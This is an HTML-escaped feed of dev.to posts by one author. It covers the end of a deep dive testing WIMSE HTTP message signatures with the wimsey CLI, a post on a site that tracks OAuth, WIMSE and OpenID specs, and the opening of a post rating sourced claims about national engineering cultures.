 &lt;span class="nl"&gt;"cnf"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"jwk"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nl"&gt;"alg"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"Ed25519"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"kty"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"OKP"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"crv"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"Ed25519"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nl"&gt;"x"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s2"&gt;"oN8oHnsKsJRgLjqSJ3_YqhWbuQ3jMpNBG8yB1_AYbls"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The WIT lives an hour (&lt;code&gt;exp - iat = 3600&lt;/code&gt;) and the signature five minutes. Section 3 calls out that the two lifetimes are separate: &lt;code&gt;expires&lt;/code&gt; is "typically much shorter" than the WIT's &lt;code&gt;exp&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Then I verified that one signature with &lt;code&gt;wimsey httpsig verify&lt;/code&gt;, changing one thing each time:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fwimse-http-signature-deep-dive%2Fdiagrams%2F03-what-breaks.png%3Fv%3D79041f68" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2F0-draft%2Fdev.to%2Fmain%2Farticles%2Fassets%2Fwimse-http-signature-deep-dive%2Fdiagrams%2F03-what-breaks.png%3Fv%3D79041f68" alt="What wimsey accepted and rejected" width="760" height="350"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# SI / SG hold the Signature-Input and Signature values from above.&lt;/span&gt;
&lt;span class="c"&gt;# The LB rewrote the authority; same signature.&lt;/span&gt;
wimsey httpsig verify --issuer-jwk issuer.jwk --wit &lt;span class="s2"&gt;"$(cat wit.txt)"&lt;/span&gt; \
  --method POST --authority svcb.internal:8443 --path /orders --query &lt;span class="nv"&gt;flavor&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;vanilla \
  --header &lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt; --body-file body.json \
  --signature-input &lt;span class="s2"&gt;"$SI"&lt;/span&gt; --signature &lt;span class="s2"&gt;"$SG"&lt;/span&gt; --aud https://svcb.example.com/orders
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;{
  "label": "wimse",
  "sub": "wimse://example.org/svcA"
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The rewrite passed. Then I signed the same request with &lt;code&gt;--cover&lt;/code&gt; including &lt;code&gt;@authority&lt;/code&gt;, and the same rewrite failed with &lt;code&gt;signature verification failed&lt;/code&gt;. That is the reason Section 3 leaves the component out, shown in two commands.&lt;/p&gt;

&lt;p&gt;The body-swap row needs care. If the attacker swaps the body but leaves the signed &lt;code&gt;Content-Digest&lt;/code&gt; header alone, the signature is still valid. The rejection comes only from the receiver recomputing the digest: &lt;code&gt;content-digest does not match the body&lt;/code&gt;. I ran into the same thing with vector N-04 in issue #419, whose text said the swap "also makes the signature fail". It doesn't. A verifier that checks the signature and skips the digest recomputation accepts the swapped body.&lt;/p&gt;

&lt;h2&gt;
  
  
  The signed response
&lt;/h2&gt;

&lt;p&gt;The CLI only signs requests, so for the response I wrote a short program against the &lt;code&gt;wimsey-httpsig&lt;/code&gt; crate. The request base, then the response base for a 404 that answers it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"@method": GET
"@path": /gimme-ice-cream
"@query": ?flavor=vanilla
"workload-identity-token": eyJ0eXAiOiJ3aXQrand0IiwiYWxnIjoiRWQyNTUxOSJ9...
"@signature-params": ("@method" "@path" "@query" "workload-identity-token");created=1794700000;expires=1794700300;nonce="6f1c0e9a4b2d7f3e8a5c1b90";tag="wimse-workload-to-workload";wimse-aud="https://svcb.example.com/gimme-ice-cream";wimse-sign-response
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"@status": 404
"@method";req: GET
"@path";req: /gimme-ice-cream
"@query";req: ?flavor=vanilla
"content-type": text/plain
"content-digest": sha-256=:OgY1punOtuXr2fZzBu3pJFuBvtCWUjQA3GD0Uy/O7YI=:
"workload-identity-token": &amp;lt;svcB WIT&amp;gt;
"@signature-params": ("@status" "@method";req "@path";req "@query";req "content-type" "content-digest" "workload-identity-token");created=1794700001;expires=1794700301;nonce="d93a7c01e5b84f2a6c0d1e77";tag="wimse-workload-to-workload";wimse-req-nonce="6f1c0e9a4b2d7f3e8a5c1b90"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two things bind the response to its request. The &lt;code&gt;;req&lt;/code&gt; components pull method, path and query from the request into the response's signature base. &lt;code&gt;wimse-req-nonce&lt;/code&gt; copies the request's &lt;code&gt;nonce&lt;/code&gt;. There is no &lt;code&gt;wimse-aud&lt;/code&gt; on a response: wimsey's &lt;code&gt;check_response_profile&lt;/code&gt; rejects one if it is there.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;client A, own nonce        -&amp;gt; Ok("wimse")
replayed to other request  -&amp;gt; Err(RequestNonceMismatch)
lifted onto /gimme-sorbet  -&amp;gt; Err(InvalidSignature)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The draft is careful about what this guarantees. Response signing is a MUST for the server only when the request carried &lt;code&gt;wimse-sign-response&lt;/code&gt; or local policy requires it. If the client didn't ask, server-side signing is "opportunistic from the client's point of view": a middlebox that strips the signature leaves a plain response, and the client MUST accept it. Appendix A.4 makes the same point about deletion. An attacker dropping a request/response pair goes undetected unless the client asked for signing and rejects unsigned replies. &lt;code&gt;Accept-Signature&lt;/code&gt; doesn't create that obligation. Only &lt;code&gt;wimse-sign-response&lt;/code&gt; does, and the server treats it as authoritative when both are present.&lt;/p&gt;

&lt;h2&gt;
  
  
  Errors: three problem types, one deliberate blind spot
&lt;/h2&gt;

&lt;p&gt;-08 Section 3.6 replaced "a status code such as 400" with:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Situation&lt;/th&gt;
&lt;th&gt;Status&lt;/th&gt;
&lt;th&gt;Problem type (&lt;code&gt;https://iana.org/assignments/http-problem-types#...&lt;/code&gt;)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;WIT or signature fails, for any reason&lt;/td&gt;
&lt;td&gt;400&lt;/td&gt;
&lt;td&gt;&lt;code&gt;wimse-signature-invalid&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Signed response required, server has no signing support&lt;/td&gt;
&lt;td&gt;501&lt;/td&gt;
&lt;td&gt;&lt;code&gt;wimse-signed-response-unsupported&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Signed response required, server can't sign this one (streamed, huge)&lt;/td&gt;
&lt;td&gt;400&lt;/td&gt;
&lt;td&gt;&lt;code&gt;wimse-signed-response-unavailable&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The first row MUST NOT say which check failed, so a probe can't tell a bad WIT from a bad signature. 401 is NOT RECOMMENDED, because it would need a &lt;code&gt;WWW-Authenticate&lt;/code&gt; challenge and an &lt;code&gt;Authorization&lt;/code&gt; retry, which don't fit a WIT. In the last two rows the server MUST NOT fall back to an unsigned 200.&lt;/p&gt;

&lt;p&gt;One gap: problem details are only SHOULD. A client that doesn't accept them gets a bare 400 for both "your signature is bad" and "I can't sign this response", and the draft doesn't discuss that.&lt;/p&gt;

&lt;h2&gt;
  
  
  What's still unsettled
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Verifier handling of &lt;code&gt;keyid&lt;/code&gt; and &lt;code&gt;alg&lt;/code&gt;: the draft only says senders MUST NOT use them. The #419 vectors expect a reject. Yaron Sheffer's personal view on the list was that "a MUST NOT in any security RFC should be rejected by the recipient", but the text doesn't say it. wimsey rejects both (&lt;code&gt;HttpSigError::ForbiddenParameter&lt;/code&gt;). A verifier that ignores them is not clearly non-conformant today.&lt;/li&gt;
&lt;li&gt;A dangling reference: Sections 3 and 3.6 point to "Section 5.1.4" of the workload-creds draft for WIT validation. The cited -02 has no 5.1.4: its 5.1.3 is a note on &lt;code&gt;iss&lt;/code&gt;. The validation procedure is 5.1.3 "Validating the WIT" in workload-creds-03, which came out after -08.&lt;/li&gt;
&lt;li&gt;Nonce format: -08 sets entropy but not encoding or length, and a recipient has no way to check entropy. For -09 the main branch also lets a client reuse a server-generated nonce from &lt;code&gt;Accept-Signature&lt;/code&gt;, as long as that value meets the same bar.&lt;/li&gt;
&lt;li&gt;Replay caches are MAY and per validator. The draft says it plainly: "Without such sharing, replay to a different cluster member can still succeed." The short &lt;code&gt;expires&lt;/code&gt; is what actually bounds replay.&lt;/li&gt;
&lt;li&gt;Re-signing at an intermediary is out of scope. A proxy that has to change a covered component has no WIMSE way to do it.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  If you're implementing this
&lt;/h2&gt;

&lt;p&gt;The parts that broke or nearly broke in practice were all small byte-level things: the &lt;code&gt;?&lt;/code&gt; in &lt;code&gt;@query&lt;/code&gt;, the &lt;code&gt;:443&lt;/code&gt; in a CONNECT &lt;code&gt;@authority&lt;/code&gt;, a trailing slash in &lt;code&gt;wimse-aud&lt;/code&gt;, a digest nobody recomputed. The signature math was never the problem. Two things worth doing:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Run your verifier against the independent vectors in &lt;a href="https://github.com/ietf-wg-wimse/draft-ietf-wimse-s2s-protocol/issues/419" rel="noopener noreferrer"&gt;issue #419&lt;/a&gt; (v4, archived on Zenodo, now includes a boundary case at &lt;code&gt;expires + 1&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Make &lt;code&gt;wimse-aud&lt;/code&gt; a configured list on the recipient, and add tests that a trailing slash and an explicit default port are rejected.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The draft is in AD Evaluation now, so this is a good time to send the WG what you find while the text can still change.&lt;/p&gt;

</description>
      <category>security</category>
      <category>identity</category>
      <category>microservices</category>
      <category>cryptography</category>
    </item>
    <item>
      <title>identity-deep-dive: A Weekly Briefing and a Sourced Spec Map for OAuth, WIMSE, and OpenID</title>
      <dc:creator>kt</dc:creator>
      <pubDate>Sat, 14 Nov 2026 22:00:40 +0000</pubDate>
      <link>https://dev.to/kanywst/identity-deep-dive-a-weekly-briefing-and-a-sourced-spec-map-for-oauth-wimse-and-openid-2hj8</link>
      <guid>https://dev.to/kanywst/identity-deep-dive-a-weekly-briefing-and-a-sourced-spec-map-for-oauth-wimse-and-openid-2hj8</guid>
      <description>&lt;h2&gt;
  
  
  Introduction
&lt;/h2&gt;

&lt;p&gt;If you work on identity, the specs move under you. An OAuth WG draft goes to the IESG, a WIMSE draft gets a new revision, the OpenID4VCI repo &lt;a href="https://github.com/openid/OpenID4VCI/pull/809" rel="noopener noreferrer"&gt;switches a document's JSON properties to snake_case&lt;/a&gt;. Each of those is a signal that "now is the time to read this", but the signals are spread across IETF Datatracker, the mail archive, and about ninety GitHub repositories (66 under &lt;code&gt;openid&lt;/code&gt;, 21 under &lt;code&gt;oauth-wg&lt;/code&gt;, and 6 under &lt;code&gt;ietf-wg-wimse&lt;/code&gt; in the 2026-11-14 run).&lt;/p&gt;

&lt;p&gt;I kept missing them, so I built &lt;strong&gt;&lt;a href="https://github.com/0-draft/identity-deep-dive" rel="noopener noreferrer"&gt;identity-deep-dive&lt;/a&gt;&lt;/strong&gt;. It collects those sources every six hours, explains what changed, and keeps a map of where each spec stands and who documents support for it. The result is a static site at &lt;strong&gt;&lt;a href="https://0-draft.github.io/identity-deep-dive/" rel="noopener noreferrer"&gt;0-draft.github.io/identity-deep-dive&lt;/a&gt;&lt;/strong&gt;, in English and Japanese.&lt;/p&gt;

&lt;h2&gt;
  
  
  Links
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Site:&lt;/strong&gt; &lt;a href="https://0-draft.github.io/identity-deep-dive/" rel="noopener noreferrer"&gt;0-draft.github.io/identity-deep-dive&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Spec map:&lt;/strong&gt; &lt;a href="https://0-draft.github.io/identity-deep-dive/map/" rel="noopener noreferrer"&gt;0-draft.github.io/identity-deep-dive/map/&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Repository:&lt;/strong&gt; &lt;a href="https://github.com/0-draft/identity-deep-dive" rel="noopener noreferrer"&gt;0-draft/identity-deep-dive&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What it tracks
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Track&lt;/th&gt;
&lt;th&gt;Scope&lt;/th&gt;
&lt;th&gt;Sources&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;IETF WIMSE&lt;/td&gt;
&lt;td&gt;Workload Identity in Multi-System Environments&lt;/td&gt;
&lt;td&gt;Datatracker, Mail Archive, GitHub&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OAuth WG&lt;/td&gt;
&lt;td&gt;OAuth Working Group drafts and their repos&lt;/td&gt;
&lt;td&gt;Datatracker, Mail Archive, GitHub&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;OpenID&lt;/td&gt;
&lt;td&gt;OpenID Foundation specifications and repos&lt;/td&gt;
&lt;td&gt;GitHub&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  What the site shows
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;This week:&lt;/strong&gt; three to five changes worth five minutes, most important first, each with why it matters. In the 2026-11-14 run the top one was &lt;a href="https://www.rfc-editor.org/rfc/rfc10070" rel="noopener noreferrer"&gt;RFC 10070&lt;/a&gt;, which tightens the audience rules for JWT client assertions and assertion grants.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Where the specs stand:&lt;/strong&gt; the IETF drafts the tracks follow, grouped by Datatracker state, from individual draft through WG last call, the IESG and the RFC Editor queue.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Topics:&lt;/strong&gt; how the drafts and repositories group, for example "workload credentials and proof of possession" or "agent delegation and attenuation".&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Per-track pages:&lt;/strong&gt; the daily and weekly reports, and an explanation for each new revision, thread or PR.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  How it works
&lt;/h2&gt;

&lt;p&gt;Every track runs the same pipeline from a GitHub Actions cron:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Collect  -&amp;gt;  Normalize  -&amp;gt;  Score  -&amp;gt;  Report  -&amp;gt;  Explain  -&amp;gt;  Synthesize
  raw API       JSON         ranked      daily/weekly   Claude       picks +
  snapshots     merge        backlog     markdown       briefing     topic map
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Collect&lt;/strong&gt; pulls from Datatracker, the IETF mail archive, and the GitHub API.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Normalize&lt;/strong&gt; merges the sources into one JSON state per track.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Score&lt;/strong&gt; ranks every draft or repo with weights that live in YAML, not code.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Report&lt;/strong&gt; writes daily and weekly Markdown.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Explain&lt;/strong&gt; finds what is new since the last run (a draft revision, a mailing-list thread, a PR) and has Claude explain it from the source material: a headline, a summary grounded in the diff or message, a diagram of the mechanism, and links to related items in the other tracks.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Synthesize&lt;/strong&gt; reads the recent explanations across tracks and picks the week's changes and topics.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The material Claude reads is written by third parties, so the workflow treats it as untrusted. The model runs in a job with read-only repository access and read-only tools. A second job with write access has no model in it: it validates the output and only then commits it. Every explanation and pick also carries a Japanese version.&lt;/p&gt;

&lt;h2&gt;
  
  
  Explainable scoring
&lt;/h2&gt;

&lt;p&gt;The ranking explains itself. Here is the OAuth WG rubric, abridged from &lt;code&gt;tracks/oauth-wg/config/scoring.yaml&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;lifecycle_points&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s"&gt;match:&lt;/span&gt; &lt;span class="s2"&gt;"In Last Call"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;    &lt;span class="s"&gt;points:&lt;/span&gt; &lt;span class="mi"&gt;80&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s"&gt;match:&lt;/span&gt; &lt;span class="s2"&gt;"In WG Last Call"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;points:&lt;/span&gt; &lt;span class="mi"&gt;70&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s"&gt;match:&lt;/span&gt; &lt;span class="s2"&gt;"IESG Evaluation"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;points:&lt;/span&gt; &lt;span class="mi"&gt;70&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s"&gt;match:&lt;/span&gt; &lt;span class="s2"&gt;"WG Document"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;     &lt;span class="s"&gt;points:&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="na"&gt;recency_points&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s"&gt;within_days:&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="s"&gt;points:&lt;/span&gt; &lt;span class="mi"&gt;25&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s"&gt;within_days:&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;  &lt;span class="s"&gt;points:&lt;/span&gt; &lt;span class="mi"&gt;18&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;-&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s"&gt;within_days:&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;points:&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="na"&gt;activity&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;cap_points&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And here is the top candidate from the 2026-11-14 run, from &lt;code&gt;candidates.json&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;"draft_name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"draft-ietf-oauth-sd-jwt-vc"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"score"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;118&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nl"&gt;"reasons"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="s2"&gt;"lifecycle: IESG Evaluation (+70)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;"updated within 7 days (+18)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s2"&gt;"repo activity: 81 (+30)"&lt;/span&gt;
  &lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the weights feel wrong for your interests, you change the YAML, not the scorer.&lt;/p&gt;

&lt;h2&gt;
  
  
  A spec map where every claim has a source
&lt;/h2&gt;

&lt;p&gt;As of 2026-11-14, the &lt;a href="https://0-draft.github.io/identity-deep-dive/map/" rel="noopener noreferrer"&gt;spec map&lt;/a&gt; covers 62 OAuth, OpenID, workload identity and credential specs in 11 layers, from grants and flows to security events. Each card says where the spec stands and how it relates to the others: what it builds on, profiles, extends or replaces. Of the 62, 25 are RFCs, 11 are OpenID Final specifications, one comes from another body, and the rest are IETF drafts at various stages.&lt;/p&gt;

&lt;p&gt;The part I care about most is the "documented support" list. A vendor or project is listed only when its own documentation, or a standards body's page naming it, says it supports the spec. Each of the 211 claims stores the official URL and an exact phrase from that page. A weekly job with no model in it fetches every page and checks that the phrase is still there. If it is gone, the site says "not re-verified since" with the date instead of quietly showing stale support. Experimental, alpha and beta support is counted separately as preview.&lt;/p&gt;

&lt;p&gt;For example, &lt;a href="https://0-draft.github.io/identity-deep-dive/map/dpop/" rel="noopener noreferrer"&gt;DPoP&lt;/a&gt; currently lists eight: Okta, Auth0, Keycloak, Duende IdentityServer, node-oidc-provider, Spring Authorization Server, Spring Security and Authelia's oauth2-provider.&lt;/p&gt;

&lt;p&gt;Most specs on the map also have an explainer: when you reach for it, the problem it solves, how it works, what it requires and what to watch out for, with section references. For 17 RFCs there is a side-by-side page with the official English text next to an unofficial Japanese translation.&lt;/p&gt;

&lt;h2&gt;
  
  
  From radar to deep dive
&lt;/h2&gt;

&lt;p&gt;The ranking feeds deep dives. Once a week a job takes the top candidate in each track that has no deep dive yet, has Claude draft one from the source text (context, spec notes, an interop checklist and a hands-on log), and opens it as a draft pull request. Nothing lands until a person has checked it against the primary sources.&lt;/p&gt;

&lt;p&gt;Reading that closely pays off. The &lt;a href="https://0-draft.github.io/identity-deep-dive/ietf-wimse/deep-dives/draft-ietf-wimse-http-signature/" rel="noopener noreferrer"&gt;WIMSE HTTP signature deep dive&lt;/a&gt; records that &lt;a href="https://www.ietf.org/archive/id/draft-ietf-wimse-http-signature-08.txt" rel="noopener noreferrer"&gt;draft-ietf-wimse-http-signature-08&lt;/a&gt; (Sections 3 and 3.6) tells recipients to validate the workload identity token "as specified in Section 5.1.4" of the workload credentials draft. Neither &lt;a href="https://www.ietf.org/archive/id/draft-ietf-wimse-workload-creds-02.txt" rel="noopener noreferrer"&gt;-02&lt;/a&gt; nor &lt;a href="https://www.ietf.org/archive/id/draft-ietf-wimse-workload-creds-03.txt" rel="noopener noreferrer"&gt;-03&lt;/a&gt; of that draft has a Section 5.1.4. In -03, WIT validation is Section 5.1.3. As of 2026-11-14 there are nine deep dives, including OAuth 2.1, SD-JWT VC, Client ID Metadata Documents and OpenID4VCI. If WIMSE itself is new to you, I wrote a &lt;a href="https://dev.to/kanywst/wimse-workload-identity-in-multi-system-environments-deep-dive-standardizing-identity-5a12"&gt;WIMSE deep dive&lt;/a&gt; earlier.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;If you follow OAuth, workload identity, or OpenID specs, the site gives you "what moved this week" without opening Datatracker, and the map tells you where a spec stands and who documents support for it, with a link you can check yourself. If a source, a spec or an implementation you care about is missing, issues and PRs are welcome. A new support claim needs an official URL and the exact phrase from that page.&lt;/p&gt;

</description>
      <category>showdev</category>
      <category>oauth</category>
      <category>security</category>
      <category>identity</category>
    </item>
    <item>
      <title>wtfe: Claims About Engineering Culture by Country, Each One Sourced and Rated</title>
      <dc:creator>kt</dc:creator>
      <pubDate>Sat, 14 Nov 2026 21:50:56 +0000</pubDate>
      <link>https://dev.to/kanywst/wtfe-claims-about-engineering-culture-by-country-each-one-sourced-and-rated-1c5d</link>
      <guid>https://dev.to/kanywst/wtfe-claims-about-engineering-culture-by-country-each-one-sourced-and-rated-1c5d</guid>
      <description>&lt;p&gt;"Japanese engineers avoid direct feedback." Follow that line back and you usually land on a summary of Erin Meyer's book, written by a language school or a training company.&lt;/p&gt;

&lt;p&gt;I built a site where that sentence is allowed to stay, but has to say what it rests on.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Source: &lt;a href="https://github.com/0-draft/wtfe" rel="noopener noreferrer"&gt;https://github.com/0-draft/wtfe&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Site: &lt;a href="https://0-draft.github.io/wtfe/" rel="noopener noreferrer"&gt;https://0-draft.github.io/wtfe/&lt;/a&gt; (English), &lt;a href="https://0-draft.github.io/wtfe/ja/" rel="noopener noreferrer"&gt;https://0-draft.github.io/wtfe/ja/&lt;/a&gt; (Japanese)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;wtfe (Ways They Frame Engineering) covers Japan, South Korea, China, India, the US, the UK, Germany, France, the Nordics, the Netherlands, Israel, Brazil, Poland and Ukraine, across seven themes: design and quality, failure and risk, feedback and code review, hierarchy and decisions, communication and docs, work and careers, open source.&lt;/p&gt;

&lt;h2&gt;
  
  
  Three labels
&lt;/h2&gt;

&lt;p&gt;Every claim gets one of three labels. The rule is about the source, not about how plausible the claim sounds:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Label&lt;/th&gt;
&lt;th&gt;What earns it&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Well attested&lt;/td&gt;
&lt;td&gt;Official statistics, primary documents, large surveys read on the publisher's own page, peer-reviewed quantitative studies, an organization's own account of its own practice&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Attested&lt;/td&gt;
&lt;td&gt;Frameworks such as Meyer's Culture Map, a single reputable news report, Wikipedia, industry associations, qualitative studies&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Thin&lt;/td&gt;
&lt;td&gt;Blogs, forums, vendor and recruiter material, summary sites, single anecdotes. Kept only when nothing better exists&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;A claim whose newest source is older than 2016 also gets a "dated" mark. That is computed at build time from the source years, not typed by hand.&lt;/p&gt;

